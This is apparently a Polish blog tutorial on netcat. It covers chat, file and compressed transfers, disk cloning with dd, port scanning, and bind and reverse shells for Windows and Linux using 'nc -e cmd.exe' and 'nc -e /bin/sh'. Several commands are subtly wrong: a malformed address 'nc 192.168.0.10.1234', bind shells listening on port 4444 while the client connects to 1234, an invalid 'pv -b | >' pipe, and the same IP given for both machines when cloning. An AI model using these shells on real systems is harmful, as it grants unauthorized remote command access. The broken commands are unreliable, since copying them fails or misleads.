Załóżmy, że mamy dwa komputery o adresacji 192.168.0.10 i 192.168.0.20.
1. Prosty czat
Na komputerze 192.198.0.10 zaczynamy nasłuchiwać na porcie 1234: nc -lvp 1234 Z komputera 192.168.0.20 podłączamy się do już nasłuchującego komputera 192.168.0.10: nc 192.168.0.10 1234
Parametry:
l - netcat działa w trybie nasłuchiwania czyli jako serwer
v - try gadatliwy (verbose) czyli mamy więcej komunikatów
p - określenie portu który zostanie użyty
2. Kopiowanie plików za pomocą netcat
Na 192.168.0.20 (komputer na który chcemy skopiować): nc -lvp 1234 > plik_skopiowany.txt Na 192.168.0.10 (komputer z którego kopiujemy): nc 192.168.0.20 1234 < plik_do_skopiowania.txt
Nasłuchiwać również może komputer z którego wysyłamy plik wszystko zależy od tego gdzie ustawimy > (standard output) i < (standard input).
Na 192.168.0.10 (komputer z którego kopiujemy): nc -lvp 1234 < plik_do_skopiowania.txt Na 192.168.0.20 (komputer na który kopiujemy): nc 192.168.0.10.1234 > plik_skopiowany.txt
Na komputerze z którego wysyłamy zamiast < (standard input) możemy użyć | (pipline).
(Dla 1 przypadku) cat plik_do_skopiowania.txt | nc -lvp 1234 albo (Dla 2 przypadku) cat plik_do_skopiowania.txt | nc 192.168.0.20 1234
W przypadku wysyłania dużych plików dobrze jest widzieć status wysyłania. W tym celu jeżeli mamy zainstalowane pv możemy go wykorzystać zarówno po stronie wysyłającego jak i odbierającego. Przykładowo:
nc -lvp 1234 | pv -b | > plik_skopiowany.txt cat plik_do_skopiowania.txt | pv -b | nc 192.168.0.20 1234
zamiast pv -b które pokazuję nam tylko ilość bajtów możemy użyć samo pv które pokaże troszkę więcej informacji.
Przed wysłaniem dużych plików możemy je skompresować. Możemy spakowanie plik podczas wysyłania a następnie zapisać jako plik spakowany.
Na komputerze na który kopiujemy (192.168.0.10): netcat -lvp 1234 > plik_skopiowany.tar Na komputerze z którego kopiujemy (192.168.0.20): tar -czvf - plik_lub_folder | nc 192.168.0.10 1234
Możemy również spakować plik przed wysłaniem i rozpakować go automatycznie.
Na komputerze na który kopiujemy (192.168.0.10): netcat -lvp 1234 | tar -x Na komputerze z którego kopiujemy (192.168.0.20): tar -czvf - plik_lub_folder | nc 192.168.0.10 1234
Oczywiście narzędzie do pakowania i jego parametry możemy dobierać według potrzeb.
3. Klonowanie dysków i partycji
Na komputerze na który kopiujemy (192.168.0.20): nc -lvp 1234 | dd of=/dev/sdb Na komputerze z którego kopiujemy (192.168.0.20): dd if=/dev/sda | nc 192.168.0.20 1234
Podczas kopiowania możemy użyć kompresji. Przykładowo:
Na komputerze na który kopiujemy (192.168.0.20): nc -lvp 1234 | gzip -dc | dd of=/dev/sdb Na komputerze z którego kopiujemy (192.168.0.20): dd if=/dev/sda | gzip |nc 192.168.0.20 1234
Możemy tak samo zrobić kopię i zapisać ją do pliku.
Na komputerze na który kopiujemy (192.168.0.20): nc -lvp 1234 > kopia_sda_z_192168020.gz Na komputerze z którego kopiujemy (192.168.0.20): dd if=/dev/sda | gzip | nc 192.168.0.20 1234
4. Skanowanie portów
nc -v 192.168.0.10 -z 1-1000
Parametry:
z - zakres portów do skanowania
5. Bind Shell (Windows)
Na komputerze Windows zaczynamy nasłuchiwać (192.168.0.10): nc -lvp 4444 -e cmd.exe Podłączamy się nasłuchującego komputera: nc 192.168.0.10 1234
6. Bind Shell (Linux)
Na komputerze Linux zaczynamy nasłuchiwać (192.168.0.10): nc -lvp 4444 -e /bin/sh Podłączamy się nasłuchującego komputera: nc 192.168.0.10 1234
7. Reverse Shell (Windows)
Zaczynamy nasłuchiwać na stacji (192.168.0.20): nc -lvp 1234 Podłączamy się ze stacji Windows do nasłuchującego serwera: nc 192.168.0.20 1234 -e cmd.exe
8. Reverse Shell (Linux)
Zaczynamy nasłuchiwać na dowolnym komputerze (192.168.0.20): nc -lvp 1234 Podłączamy się ze stacji Windows do nasłuchującego serwera: nc 192.168.0.20 1234 -e /bin/sh
9. Parametry które warto znać
u - używaj UDP
Brak komentarzy:
Prześlij komentarz